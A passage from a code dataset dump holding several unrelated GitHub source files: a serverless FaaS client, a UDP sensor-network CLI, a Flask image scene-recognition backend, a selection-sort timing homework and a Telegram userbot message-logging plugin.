initialized,\n # create an instance with the endpoint\n if self.src == None:\n if (\n self.sr_instance == None\n or self.sr_instance.SERVERLESS_RUNTIME.FAAS.ENDPOINT == None\n ):\n cognit_logger.error(\n \"Serverless Runtime instance has not been requested yet\"\n )\n return AsyncExecResponse(\n status=AsyncExecStatus.READY,\n res=ExecResponse(ret_code=ExecReturnCode.ERROR),\n exec_id=\"0\",\n )\n\n self.src = ServerlessRuntimeClient(\n self.sr_instance.SERVERLESS_RUNTIME.FAAS.ENDPOINT\n )\n\n parser = FaasParser()\n\n # Serialize the function an the params\n serialized_fc = parser.serialize(func)\n serialized_params = []\n for param in params:\n serialized_params.append(parser.serialize(param))\n\n # Payload JSON definition\n offload_fc = ExecSyncParams(\n fc=serialized_fc, params=serialized_params, lang=\"PY\"\n )\n\n # TODO: The client should update the sr status before offloading a function\n\n return self.src.faas_execute_async(offload_fc)\n\n def wait(\n self,\n Id: AsyncExecId,\n timeout: float,\n ) -> AsyncExecResponse:\n \"\"\"\n Wait until an asynchronous (unblocking) task is finished and ready to be\n read.\n\n Args:\n Id (AsyncExecId): ID of the FaaS to which the function was sent.\n timeout (int): Timeout in secs. after which it will stop querying if the FaaS\n was finished or not.\n\n Returns:\n AsyncExecResponse: Will return async execution response data type.\n \"\"\"\n # If the Serverless Runtime client is not initialized,\n # create an instance with the endpoint\n if self.src == None:\n if (\n self.sr_instance == None\n or self.sr_instance.SERVERLESS_RUNTIME.FAAS.ENDPOINT == None\n ):\n cognit_logger.error(\n \"Serverless Runtime instance has not been requested yet\"\n )\n return AsyncExecResponse(\n status=AsyncExecStatus.READY,\n res=ExecResponse(ret_code=ExecReturnCode.ERROR),\n exec_id=\"000-000-000\",\n )\n\n self.src = ServerlessRuntimeClient(\n self.sr_instance.SERVERLESS_RUNTIME.FAAS.ENDPOINT\n )\n\n parser = FaasParser()\n\n # Define interval to 1 sec.\n iv = 1\n # Timeout management loop.\n while timeout - iv > 0:\n response = self.src.wait(Id.faas_task_uuid)\n if response != None and response.status == AsyncExecStatus.READY:\n if response.res != None:\n response.res.res = parser.deserialize(response.res.res)\n return response\n time.sleep(iv)\n timeout -= iv\n return response\n\n def delete(self) -> None:\n \"\"\"\n Deletes the specified ServerlessRuntimeContext on demand.\n \"\"\"\n if self.sr_instance == None or self.sr_instance.SERVERLESS_RUNTIME.ID == None:\n cognit_logger.error(\n \"Serverless Runtime instance has not been requested yet\"\n )\n return None\n self.pec.delete(self.sr_instance.SERVERLESS_RUNTIME.ID)\n","repo_name":"SovereignEdgeEU-COGNIT/device-runtime-py","sub_path":"cognit/serverless_runtime_context.py","file_name":"serverless_runtime_context.py","file_ext":"py","file_size_in_byte":13240,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"22319722475","text":"# Client providing CLI for user to interact with network\n# Author: Lydia MacBride\n\nimport socket\nimport threading\nimport time\nimport devices\n\nprint(\"Starting Client\")\n\n# Device parameters\nport = 4444\nbuff_size = 4096\ndev_type = \"3\"\ndev_id = \"\"\ngroup = \"clients\"\nserver_ip = \"\"\nqueue = list()\ndebug = False\n\n# Network devices\nsensors = list()\nactuators = list()\n\n# Create socket\ns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\ns.settimeout(5)\n# Bind the socket it to the port\nsensor_address = ('0.0.0.0', port)\ns.bind(sensor_address)\n\n# Running boolean\nrunning = True\n\n\n# Print only if debug enabled\ndef print_d(string):\n if debug:\n print(string)\n\n\n# Add packet to queue\ndef queue_packet(packet): \n print_d(\"Adding packet to queue\")\n\n pck_exists = False\n for i in queue:\n pck_exists = i[1] == packet[1]\n \n print_d(\"Checking: \" + i[1] + \", \" + packet[1] + \", match: \" + str(pck_exists))\n break\n\n if len(queue) == 0 or not pck_exists:\n queue.append(packet)\n\n\n# Send acknowledgement to given ip\n# Acknowledgement format [ack:<dev_type>:<dev_id>:<original_packet>]\ndef send_ack(ack_ip, ack_type):\n print_d(\"Sending acknowledgement to: \" + ack_ip[0])\n ack_data = \"ack:\" + dev_type + \":\" + dev_id + \":\" + ack_type\n\n # Save packet to queue\n queue_packet([server_ip, ack_data])\n\n\n# Process incoming packets\ndef rec_packet():\n print_d(\"Awaiting packet\")\n\n # Receive packet or handle timeout\n try:\n pck_data, pck_address = s.recvfrom(buff_size)\n except socket.timeout:\n print_d(\"Connection timed out\")\n return\n\n pck_str = pck_data.decode(\"utf-8\")\n pck_arr = pck_str.split(':')\n print_d(\"Received packet: \" + pck_str + \", From: \" + pck_address[0])\n\n # Send acknowledgement\n if pck_arr[0] != \"ack\":\n send_ack(pck_address, pck_str)\n\n # Process various commands from devices\n # Acknowledge packets\n if pck_arr[0] == \"ack\":\n print_d(\"Acknowledgment from: \" + pck_arr[1] + \":\" + pck_arr[2])\n\n # Pull ack_type from packet\n ack_type = pck_str[8:]\n\n # Remove queued request if match found\n for i in queue:\n if i[1] == ack_type:\n queue.remove(i)\n break\n\n # Device update packets\n elif pck_arr[0] == \"upd\":\n print_d(\"Updating device parameters\")\n upd_type = pck_arr[1]\n upd_id = pck_arr[2]\n upd_value = pck_arr[3]\n\n # Find matching device id and update upd_value\n for i in (sensors if upd_type == '1' else actuators):\n print_d(\"Checking device: \" + str(i.get_dev_type()) + \":\" + str(i.get_dev_id()))\n if upd_id == str(i.get_dev_id()):\n i.update(upd_value)\n print_d(\"Updated device value for: \" + upd_type + \":\" + upd_id + \", to: \" + upd_value)\n break\n\n # Sync packet\n elif pck_arr[0] == \"syn\":\n syn_type = pck_arr[1]\n syn_id = pck_arr[2]\n syn_group = pck_arr[3]\n syn_data = pck_arr[4]\n\n print_d(\"Sync packet received\")\n if syn_type == '1':\n if int(syn_id) > len(sensors) - 1:\n sensors.extend([None] * (int(syn_id) - (len(sensors) - 1)))\n\n sensors[int(syn_id)] = devices.Device(syn_type, syn_id, False, syn_data, syn_group)\n\n elif syn_type == '2':\n if int(syn_id) > len(actuators) - 1:\n actuators.extend([None] * (int(syn_id) - (len(actuators) - 1)))\n\n actuators[int(syn_id)] = devices.Device(syn_type, syn_id, False, syn_data, syn_group)\n\n else:\n print_d(\"Invalid device type received\")\n\n else:\n print_d(\"Unknown packet type received: \" + pck_arr[0])\n\n\n# Sync devices with server\ndef sync():\n print(\"Syncing devices with server\")\n syn_data = \"syn:\" + dev_type + \":\" + dev_id\n queue_packet([server_ip, syn_data])\n\n\n# Process input from user\nclass ProcessInput(threading.Thread):\n def run(self):\n global running\n while running:\n try:\n user_in = input(\"✨〉\")\n except EOFError:\n print(\"Input not found\")\n return\n\n # sync: Sync device list with server\n if user_in == \"sync\":\n sync()\n\n # ls (-sensors, -actuators): List sensor/actuator devices\n elif user_in[0:2] == \"ls\":\n args = [\"-sensors\" in user_in, \"-actuators\" in user_in] # Store whether arguments are set or not\n\n # List sensors\n if args[0] or args[0] == args[1]:\n print(\"\\nSensors\\n\" +\n \"ID\\t\\tGroup\\t\\t\\tData\")\n\n for i in sensors:\n if i is not None:\n spacer = \"\\t\"\n if len(i.dev_group) < 8:\n spacer = \"\\t\\t\\t\"\n elif len(i.dev_group) < 16:\n spacer = \"\\t\\t\"\n\n print(str(i.dev_type) + \":\" + str(i.dev_id) + \"\\t\\t\" + i.dev_group + spacer + str(i.dev_value))\n\n # List actuators\n if args[1] or args[0] == args[1]:\n print(\"\\nActuators\\n\" +\n \"ID\\t\\tGroup\\t\\t\\tData\")\n\n for i in actuators:\n if i is not None:\n spacer = \"\\t\"\n if len(i.dev_group) < 8:\n spacer = \"\\t\\t\\t\"\n elif len(i.dev_group) < 16:\n spacer = \"\\t\\t\"\n\n print(str(i.dev_type) + \":\" + str(i.dev_id) + \"\\t\\t\" + i.dev_group + spacer + str(i.dev_value))\n\n print(\"\")\n\n # sub (-i) <group>: Subscribe to sensor data\n elif user_in[0:3] == \"sub\":\n # Sub with Type:ID\n if user_in[4:6] == \"-i\":\n user_arr = user_in[7:].split(\":\")\n if len(user_arr) == 2:\n user_type = user_arr[0]\n user_id = user_arr[1]\n\n valid_input = True\n if user_type == '1': # Sensors\n if int(user_id) > len(sensors):\n print(\"Invalid device ID\")\n valid_input = False\n\n elif user_type == '2': # Actuators\n if int(user_id) > len(actuators):\n print(\"Invalid device ID\")\n valid_input = False\n\n else:\n print(\"Invalid device Type\")\n valid_input = False\n\n if valid_input:\n sub_data = \"sub:\" + dev_type + \":\" + dev_id + \":\" + user_type + \":\" + user_id\n print(\"Subscribing to device: \" + sub_data)\n queue_packet([server_ip, sub_data])\n\n # Sub with group\n else:\n user_group = user_in[4:]\n\n sub_data = \"sub:\" + dev_type + \":\" + dev_id + \":g:\" + user_group\n print(\"Subscribing to group: \" + user_group)\n queue_packet([server_ip, sub_data])\n\n # Run sync after subscribing\n sync()\n\n # pub (-i) <group> <value>: Publish command to actuator\n elif user_in[0:3] == \"pub\" and len(user_in) > 4:\n # Pub with Type:ID\n if user_in[4:6] == \"-i\":\n user_arr = user_in[7:].split(\":\")\n user_type = user_arr[0]\n user_id = user_arr[1]\n user_data = user_arr[2]\n\n valid_input = True\n if user_type != '2':\n print(\"Only actuators can receive commands!\")\n valid_input = False\n\n if valid_input:\n pub_data = \"pub:\" + dev_type + \":\" + dev_id + \":\" + user_type + \":\" + user_id + \":\" + user_data\n print(\"Publishing command: \" + pub_data)\n queue_packet([server_ip, pub_data])\n\n # Pub with group\n else:\n user_arr = user_in[4:].split(\" \")\n\n if len(user_arr) == 2:\n user_group = user_arr[0]\n user_value = user_arr[1]\n\n pub_data = \"pub:\" + dev_type + \":\" + dev_id + \":g:\" + user_group + \":\" + user_value\n print(\"Publishing command: \" + pub_data)\n queue_packet([server_ip, pub_data])\n\n # Run sync after publishing\n sync()\n\n # debug: Display debug output\n elif user_in == \"debug\":\n global debug\n debug = not debug\n print(\"Debug output \" + \"enabled\" if debug else \"disabled\")\n\n # exit: Shutdown client\n elif user_in == \"exit\":\n print(\"Shutting down\")\n running = False\n\n # help: Print available commands\n elif user_in == \"help\":\n print(\"sync Sync device list with server\\n\" +\n \"ls (-sensors, -actuators) List sensor/actuator devices\\n\" +\n \"sub (-i) <group> Subscribe to sensor data (use -i to specify ID instead)\\n\" +\n \"pub (-i) <group> <value> Publish command to actuator (use -i to specify ID instead)\\n\" +\n \"debug Display debug output\\n\" +\n \"exit Stop and exit client\\n\" +\n \"help print available commands\")\n\n # Invalid input\n else:\n print(\"Invalid input. Run help to see available commands\")\n\n\n# Send packets from queue\nclass SendPacket(threading.Thread):\n def run(self):\n global running\n while running:\n # Sleep for a few seconds to stop packet spam\n time.sleep(1.0)\n\n for i in queue:\n print_d(\"Sending packet: \" + i[1] + \", To: \" + i[0])\n s.sendto(i[1].encode(\"utf-8\"), (i[0], port))\n\n # If i is an acknowledge packet, remove it from queue\n if i[1][0:3] == \"ack\":\n print_d(\"Removing acknowledgment: \" + i[1])\n queue.remove(i)\n\n\n# Initialisation\n# Start SendPacket thread\nsend_packet = SendPacket()\nsend_packet.start()\n\n# Get server IP\nprint(\"Getting server IP\")\nwhile True:\n try:\n server_ip = socket.gethostbyname(\"a1-server\")\n except socket.gaierror:\n print(\"Server IP not found, retrying\")\n continue\n break\n\n# Send new device packet to server\nwhile dev_id == \"\":\n print(\"Sending device information request to server\")\n new_data = \"new:\" + dev_type + \":\" + group\n queue_packet([server_ip, new_data])\n\n # Receive device info from server\n print(\"Awaiting packet from server\")\n\n # Receive packet or handle timeout\n try:\n new_data, new_address = s.recvfrom(buff_size)\n except socket.timeout:\n print(\"Connection timed out\")\n continue\n\n if new_data is not None:\n new_str = new_data.decode(\"utf-8\")\n new_arr = new_str.split(':')\n print(\"Received device information packet: \" + new_str)\n\n if new_arr[0] == \"new\":\n # Update device info\n print(\"New device ID: \" + new_arr[4])\n dev_id = new_arr[4]\n\n # Clear queue\n queue.clear()\n\n # Send acknowledgement\n print(\"Sending acknowledgement\")\n send_ack(new_address, new_str)\n\n# Sync devices on launch\nsync()\n\n# Start ProcessInput thread\nproc_input = ProcessInput()\nproc_input.start()\n\n# Main Loop\nwhile running:\n rec_packet()\n\n# End of program\nsend_packet.join()\nproc_input.join()\n","repo_name":"LydiaUwU/CSU33031-Assignment-1","sub_path":"client/client-main.py","file_name":"client-main.py","file_ext":"py","file_size_in_byte":12153,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"41659100956","text":"# --------------------------------------------------------------------------------\n# main.py 的说明\n# 该主函数是flask后端逻辑处理的主函数:\n# 下面代码包括几个部分的内容\n# --------------------------------------------------------------------------------\n# 1.准备部分(模型参数的载入)\n# 1.情感识别的模型\n# 2.场景识别的模型\n# 目前采用的是place365比赛中一个模型实现的,由于主要是做场景识别的,主体物体识别不够精确,比如\n# 金毛只能识别到狗,因此补充了一个densenet来单独做物体识别\n# 3.配文匹配和检索\n# 根据\n# --------------------------------------------------------------------------------\n# 2.业务逻辑函数\n# 包括 如何从识别的结果得出需要返回给客户端的结果\n# 1.根据照片的场景内容进行个性化摄影推送--获取其他平台(eg:摄影之友)的query结果HTML,解析出img_url和当前页面的page_url\n# 2.识别出拍摄图像的\n# 3.偏好可视化生成,因此,需要用户i的每张上传的图像,用一个csv的列来进行存储,便于快速生成偏好可视化\n# 具体业务逻辑函数如下:\n# def rcg_sentiment(img):\n# input:img 上传的照片\n# return:情感类别以及概率\n# pass\n# def rcg_conent(img):\n# input:img 上传的照片\n# return: 场景关键词(多个)和class_label(单个)\n# pass\n# def get_sim_img(kw_list,label):\n# input:场景关键词(多个)和class_label(单个)\n# return:[{'img_url':'资源链接','rcm_kw':'推荐依据关键词'},{}]\ndef get_photo_course():\n pass\n# --------------------------------------------------------------------------------\n# 3.接口(路由)函数,直接供uni-app访问的API\n# 1. get_senti_text() \n# @input--用户上传img或者img+文本描述\n# @return 返回情感属性的概率和图像内容关键词\n# 2. fangpai()\n# input:用户上传的img \n# return:相似的优秀imglist,包括推荐依据\n# --------------------------------------------------------------------------------\nimport io\nimport json\nimport flask\nfrom torchvision import models\nimport torchvision.transforms as transforms\nfrom PIL import Image\nfrom flask import Flask, jsonify, request,render_template,redirect\nfrom flask_cors import CORS\nfrom translate import Translator\nimport pandas as pd\nimport numpy as np\napp = Flask(__name__)\nCORS(app, supports_credentials=True)\n#--------------用来做更细类别的图像中主体识别的(比如狗中的某一种狗,一共是1000类)\nimagenet_class_index = json.load(open('./imagenet_class_index.json'))\nmodel = models.densenet121(pretrained=True)\nmodel.eval()\n#---------------用来做场景实现的模型-------\nimport torch\nfrom torch.autograd import Variable as V\nimport torchvision.models as models\nfrom torchvision import transforms as trn\nfrom torch.nn import functional as F\nimport os\nimport numpy as np\nimport cv2\nfrom PIL import Image\n\n# hacky way to deal with the Pytorch 1.0 update\ndef recursion_change_bn(module):\n if isinstance(module, torch.nn.BatchNorm2d):\n module.track_running_stats = 1\n else:\n for i, (name, module1) in enumerate(module._modules.items()):\n module1 = recursion_change_bn(module1)\n return module\n\ndef load_labels():\n # prepare all the labels\n # scene category relevant\n file_name_category = 'res_scene/categories_places365.txt'\n if not os.access(file_name_category, os.W_OK):\n synset_url = 'https://raw.githubusercontent.com/csailvision/places365/master/categories_places365.txt'\n os.system('wget ' + synset_url)\n classes = list()\n with open(file_name_category) as class_file:\n for line in class_file:\n classes.append(line.strip().split(' ')[0][3:])\n classes = tuple(classes)\n\n # indoor and outdoor relevant\n file_name_IO = 'res_scene/IO_places365.txt'\n if not os.access(file_name_IO, os.W_OK):\n synset_url = 'https://raw.githubusercontent.com/csailvision/places365/master/IO_places365.txt'\n os.system('wget ' + synset_url)\n with open(file_name_IO) as f:\n lines = f.readlines()\n labels_IO = []\n for line in lines:\n items = line.rstrip().split()\n labels_IO.append(int(items[-1]) -1) # 0 is indoor, 1 is outdoor\n labels_IO = np.array(labels_IO)\n\n # scene attribute relevant\n file_name_attribute = 'res_scene/labels_sunattribute.txt'\n if not os.access(file_name_attribute, os.W_OK):\n synset_url = 'https://raw.githubusercontent.com/csailvision/places365/master/labels_sunattribute.txt'\n os.system('wget ' + synset_url)\n with open(file_name_attribute) as f:\n lines = f.readlines()\n labels_attribute = [item.rstrip() for item in lines]\n file_name_W = 'res_scene/W_sceneattribute_wideresnet18.npy'\n if not os.access(file_name_W, os.W_OK):\n synset_url = 'http://places2.csail.mit.edu/models_places365/W_sceneattribute_wideresnet18.npy'\n os.system('wget ' + synset_url)\n W_attribute = np.load(file_name_W)\n\n return classes, labels_IO, labels_attribute, W_attribute\n\ndef hook_feature(module, input, output):\n features_blobs.append(np.squeeze(output.data.cpu().numpy()))\n\ndef returnCAM(feature_conv, weight_softmax, class_idx):\n # generate the class activation maps upsample to 256x256\n size_upsample = (256, 256)\n nc, h, w = feature_conv.shape\n output_cam = []\n for idx in class_idx:\n cam = weight_softmax[class_idx].dot(feature_conv.reshape((nc, h*w)))\n cam = cam.reshape(h, w)\n cam = cam - np.min(cam)\n cam_img = cam / np.max(cam)\n cam_img = np.uint8(255 * cam_img)\n output_cam.append(cv2.resize(cam_img, size_upsample))\n return output_cam\n\ndef returnTF():\n # load the image transformer\n tf = trn.Compose([\n trn.Resize((224,224)),\n trn.ToTensor(),\n trn.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n ])\n return tf\n\ndef load_model():\n # this model has a last conv feature map as 14x14\n model_file = 'res_scene/wideresnet18_places365.pth.tar'\n if not os.access(model_file, os.W_OK):\n os.system('wget http://places2.csail.mit.edu/models_places365/' + model_file)\n os.system('wget https://raw.githubusercontent.com/csailvision/places365/master/wideresnet.py')\n import wideresnet\n model = wideresnet.resnet18(num_classes=365)\n checkpoint = torch.load(model_file, map_location=lambda storage, loc: storage)\n state_dict = {str.replace(k,'module.',''): v for k,v in checkpoint['state_dict'].items()}\n model.load_state_dict(state_dict)\n\n # hacky way to deal with the upgraded batchnorm2D and avgpool layers...\n for i, (name, module) in enumerate(model._modules.items()):\n module = recursion_change_bn(model)\n model.avgpool = torch.nn.AvgPool2d(kernel_size=14, stride=1, padding=0)\n\n model.eval()\n # hook the feature extractor\n features_names = ['layer4','avgpool'] # this is the last conv layer of the resnet\n for name in features_names:\n model._modules.get(name).register_forward_hook(hook_feature)\n return model\n# 载入标签\nclasses, labels_IO, labels_attribute, W_attribute = load_labels()\n# load the model\nfeatures_blobs = []\nmodel_scene = load_model()\ntf = returnTF()\n# get the softmax weight\nparams = list(model_scene.parameters())\nweight_softmax = params[-2].data.numpy()\nweight_softmax[weight_softmax<0] = 0\n\ndef rcg_scene(input_img):\n # forward pass\n logit = model_scene.forward(input_img)\n h_x = F.softmax(logit, 1).data.squeeze()\n probs, idx = h_x.sort(0, True)\n probs = probs.numpy()\n idx = idx.numpy()\n # vote for the indoor or outdoor\n io_image = np.mean(labels_IO[idx[:10]])\n io_label = 'indoor' if io_image < 0.5 else 'outdoor'\n # output the prediction of scene category\n scene_category = [{classes[idx[i]]:str(round(probs[i],3))} for i in range(5)]\n scene_category = [{\"name\":classes[idx[i]],\"value\":int(100*probs[i])} for i in range(6)]\n # output the scene attributes\n responses_attribute = W_attribute.dot(features_blobs[1])\n idx_a = np.argsort(responses_attribute)\n scene_attributes = [{\"name\":labels_attribute[idx_a[i]],\"textSize\":20} for i in range(-1,-10,-1)]\n scene_attributes.append({\"name\":io_label,\"textSize\":35})\n scene_data = { \n 'io_label':io_label, \n 'scene_category':scene_category,\n 'scene_attributes':scene_attributes\n }\n return scene_data\n# 预处理\ndef transform_image(image_bytes):\n my_transforms = transforms.Compose([transforms.Resize(255),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize(\n [0.485, 0.456, 0.406],\n [0.229, 0.224, 0.225])])\n image = Image.open(io.BytesIO(image_bytes))\n return my_transforms(image).unsqueeze(0)\n\n# 预测\ndef get_image_conetent(image_bytes):\n tensor = transform_image(image_bytes=image_bytes)\n outputs = model.forward(tensor)\n _, y_hat = outputs.max(1)\n predicted_idx = str(y_hat.item())\n return imagenet_class_index[predicted_idx]\n# ImageNet classes are often of the form `can_opener` or `Egyptian_cat`\n# will use this method to properly format it so that we get\n# `Can Opener` or `Egyptian Cat`\ndef format_class_name(class_name):\n class_name = class_name.replace('_', ' ')\n class_name = class_name.title()\n return class_name\n# 主体对象的识别(1000类)\ndef rcg_main_object(image_bytes):\n class_id, class_name = get_image_conetent(image_bytes=image_bytes)\n class_name = format_class_name(class_name)\n translator = Translator(to_lang=\"chinese\")\n class_name_zh = class_name+'('+translator.translate(class_name)+')'\n return class_name\n# 给出搜索kw关键词,返回相似图片的链接\nfrom my_tools.text_spider import return_html\ndef search_sim_photo(kw):\n site_list = [\n { \n 'base_site':'https://www.vcg.com/',\n 'patten':'https://www.vcg.com/creative-image/jinmao/'\n },{\n 'base_site':'',\n 'patten':'https://unsplash.com/s/photos/golden-retriever'\n }\n ]\n # upsplash 的检索形式\n query = 'https://unsplash.com/s/photos/'+kw\n html = return_html(query)\n img_links = list(set(html.xpath(\"//div[@class='_1tO5-']/img/@src\")))[:3]\n kw_data = {\n \"list\":[{\n \"img_url\":i,\n \"rcd_kw\":kw,\n \"rsc_source\":\"unsplash\"\n } for i in img_links]\n }\n return kw_data\n # \n# flask 路由\n@app.route('/', methods=['GET', 'POST'])\ndef upload_file():\n if request.method == 'POST':\n if 'file' not in request.files:\n return redirect(request.url)\n file = request.files.get('file')\n if not file:\n return\n img_bytes = file.read()\n class_id, class_name = get_image_conetent(image_bytes=img_bytes)\n class_name = format_class_name(class_name)\n translator = Translator(to_lang=\"chinese\")\n class_name_zh = class_name+'('+translator.translate(class_name)+')'\n # web端返回的结果,因为需要渲染,所以返回HTML\n # return render_template('result.html', class_id=class_id,\n # class_name=class_name_trans)\n # android 端返回的结果,返回识别的内容,情感,以及生成的配文\n return_data = {\n 'image_conetent':class_name_zh,\n 'iamge_sentiment':'positive'\n }\n return jsonify(return_data)\n return render_template('index.html')\n\n# 拍照识别+配文接口\n@app.route('/take_photo',methods=['GET','POST'])\ndef get_senti_scenes():\n if request.method == 'POST':\n # 没收到图片\n if 'file' not in request.files:\n print('take photo data upload error')\n return redirect(request.url)\n file = request.files.get('file')\n # 获取用户选择的拍照场景关键词,根据该关键词去配文库中的筛选\n input_scene_kw = request.form.get('user_input_scene')\n if not file:\n return\n img_bytes = file.read()\n # 先对精细类别识别 \n obj_result = rcg_main_object(image_bytes=img_bytes)\n # 再对场景进行识别 \n scene_results = rcg_scene(input_img=transform_image(img_bytes))\n senti_arr = [np.random.randint(20,300) for i in range(8)]\n scene_results['scene_attributes'].append({\"name\":obj_result,\"textSize\":50})\n # 再根据用户选择的场景关键词配文\n file_name = './res_text/'+input_scene_kw+'.csv'\n df = pd.read_csv(file_name)\n peiwen_li = list(df['text'][1:6])\n rcg_result = {\n 'obj_result':obj_result,\n 'scene_results':scene_results,\n 'sentiment':senti_arr,\n 'peiwen_li':peiwen_li\n }\n return flask.jsonify(rcg_result)\n return render_template('index.html')\n\n# 摄影推荐API\n@app.route('/get_sim_photo',methods=['POST'])\ndef get_sim_photo():\n if 'file' not in request.files:\n print('take photo data upload error')\n return redirect(request.url)\n file = request.files.get('file')\n if not file:\n return\n img_bytes = file.read()\n # 先对精细类别识别 \n obj_result = rcg_main_object(image_bytes=img_bytes)\n # 再对场景进行识别 \n scene_results = rcg_scene(input_img=transform_image(img_bytes))\n # 调用第��方摄影平台依据识别关键词进行query\n imgs_main_ob= search_sim_photo(obj_result)\n imgs_scene = []\n for scene in scene_results['scene_category']:\n kw = format_class_name(list(scene.keys())[0])\n d = search_sim_photo(kw)\n imgs_scene.extend(d['list'])\n imgs_all = {\n \"main_ob_list\":imgs_main_ob['list'],\n \"scene_list\":imgs_scene\n }\n return jsonify(imgs_all)\n\nif __name__ == '__main__':\n # 0.0.0.0 是在可以让局域网或者服务器上访问,\n # app.run(debug=True,host='0.0.0.0',port=8080)\n # 127.0.0.1 是仅仅在本地浏览器\n app.run(debug=True,host='127.0.0.1',port=8080)\n # app.run(debug=True,host='127.0.0.1',port=8080)\n","repo_name":"bruceyanwee/text4photo","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":14402,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"10369257676","text":"# -*- coding: cp1251 -*-\n'''\nВ приложении задана функция сортировки выбором, которая сортирует список и возвращаем время, затраченное на сортировку.\nИсследуйте, как увеличение размера сортируемого списка влияет на скорость сортировки.\nВозьмите вот такие размеры списка: 1000, 2000, 5000, 10000\nНапишите цикл, в котором перебираются размеры списков. Для каждого размера:\n- Генерируется список нужной длины, заполненный случайными целыми числами;\n- Полученный список сортируется функцией selection_sort;\n- Печатается размер списка и время сортировки.\nКакой вывод вы можете сделать по результатам работы программы? Добавьте вывод в комментарий к программе.\n'''\n\n# Импортируем модули\nimport random\nimport time\n\n\n# Функция для генерации массива случайных целых чисел длины n\ndef generated_array(n):\n # Получаем массив из диапазона чисел n\n gen_array = [i for i in range(n)]\n # Перемешиваем полученный массив\n random.shuffle(gen_array)\n # Возвращаем перемешанный массив из функции\n return gen_array\n\n\n# функция из приложения\ndef selection_sort(input_list):\n start_time = time.time() # время старта функции\n for i in range(len(input_list)):\n min_i = i\n for j in range(i + 1, len(input_list)):\n if input_list[min_i] > input_list[j]: min_i = j\n input_list[i], input_list[min_i] = input_list[min_i], input_list[i]\n return time.time() - start_time # время выполнения в секундах\n\n\n# - Печатается размер списка и время сортировки.\n# Для каждого диапазона из доступных в массиве [внутри квадратных скобок]\nfor scope in [1000, 2000, 5000, 10000]:\n # Вывести на экран количество элементов обрабатываемого в цикле диапазона\n # Вывести затраченное время на сортировку выборов, округленное до двух знаком после запятой\n print(f'Количество элементов массива: {scope}.'\n f'\\n\\tВремя сортировки составило: {round((selection_sort(generated_array(scope))), 2)} сек.')\n\n'''\nВывод:\nЧем больше элементов массива для сортировки, тем больше временных затрат на сортировку выбором.\nДумаю, есть другой способ для сортировки элементов больших массивов.\nПоговаривают, что GPU лучше выполняет такие операции, чем CPU. Возможно, это тоже может быть решением.\n'''","repo_name":"unw1ck3d/python18","sub_path":"Homeworks/hr7/3.Sorted_by_time.py","file_name":"3.Sorted_by_time.py","file_ext":"py","file_size_in_byte":2206,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"43023727117","text":"# pm and tagged messages logger for catuserbot by @mrconfused (@sandy1709)\nimport asyncio\nimport logging\n\nfrom telethon import events\n\nfrom ..utils import admin_cmd\nfrom . import BOTLOG, BOTLOG_CHATID, CMD_HELP, LOGS\n\nlogging.basicConfig(\n format=\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\", level=logging.WARN\n)\n\nNO_PM_LOG_USERS = []\n\n\n@borg.on(events.NewMessage(incoming=True, func=lambda e: e.is_private))\nasync def monito_p_m_s(event):\n sender = await event.get_sender()\n if Config.NO_LOG_P_M_S and not sender.bot:\n chat = await event.get_chat()\n if chat.id not in NO_PM_LOG_USERS and chat.id != borg.uid:\n try:\n if Config.PM_LOGGR_BOT_API_ID and event.message:\n e = await borg.get_entity(int(Config.PM_LOGGR_BOT_API_ID))\n fwd_message = await borg.forward_messages(\n e, event.message, silent=True\n )\n except Exception as e:\n LOGS.warn(str(e))\n\n\n@borg.on(events.NewMessage(incoming=True, func=lambda e: e.mentioned))\nasync def log_tagged_messages(event):\n hmm = await event.get_chat()\n if hmm.id in NO_PM_LOG_USERS:\n return\n from .afk import USERAFK_ON\n\n if \"on\" in USERAFK_ON:\n return\n if not (await event.get_sender()).bot and Config.PM_LOGGR_BOT_API_ID:\n await asyncio.sleep(5)\n if not event.is_private:\n await event.client.send_message(\n Config.PM_LOGGR_BOT_API_ID,\n f\"#TAGS \\n<b>Group : </b><code>{hmm.title}</code>\\\n \\n<b>Message : </b><a href = 'https://t.me/c/{hmm.id}/{event.message.id}'> link</a>\",\n parse_mode=\"html\",\n link_preview=False,\n )\n\n\n@borg.on(admin_cmd(outgoing=True, pattern=r\"save(?: |$)([\\s\\S]*)\"))\nasync def log(log_text):\n if BOTLOG:\n if log_text.reply_to_msg_id:\n reply_msg = await log_text.get_reply_message()\n await reply_msg.forward_to(BOTLOG_CHATID)\n elif log_text.pattern_match.group(1):\n user = f\"#LOG / Chat ID: {log_text.chat_id}\\n\\n\"\n textx = user + log_text.pattern_match.group(1)\n await bot.send_message(BOTLOG_CHATID, textx)\n else:\n await log_text.edit(\"`What am I supposed to log?`\")\n return\n await log_text.edit(\"`Logged Successfully`\")\n else:\n await log_text.edit(\"`This feature requires Logging to be enabled!`\")\n await asyncio.sleep(2)\n await log_text.delete()\n\n\n@borg.on(admin_cmd(pattern=\"log$\"))\nasync def set_no_log_p_m(event):\n if Config.PM_LOGGR_BOT_API_ID is not None:\n chat = await event.get_chat()\n if chat.id in NO_PM_LOG_USERS:\n NO_PM_LOG_USERS.remove(chat.id)\n await event.edit(\"Will Log Messages from this chat\")\n\n\n@borg.on(admin_cmd(pattern=\"nolog$\"))\nasync def set_no_log_p_m(event):\n if Config.PM_LOGGR_BOT_API_ID is not None:\n chat = await event.get_chat()\n if chat.id not in NO_PM_LOG_USERS:\n NO_PM_LOG_USERS.append(chat.id)\n await event.edit(\"Won't Log Messages from this chat\")\n\n\nCMD_HELP.update(\n {\n \"log_chats\": \"**Plugin : **`log_chats`\\\n \\n\\n**Syntax : **`.save` :\\\n \\n**Usage : ** saves taged message in private group .\\\n \\n\\n**Syntax : **`.log`:\\\n \\n**Usage : **By default will log all private chat messages if you use .nolog and want to log again then you need to use this\\\n \\n\\n**Syntax : **`.nolog`:\\\n \\n**Usage : **to stops logging from a private chat \\\n \\n\\n**Note : **these resets after restart soon will 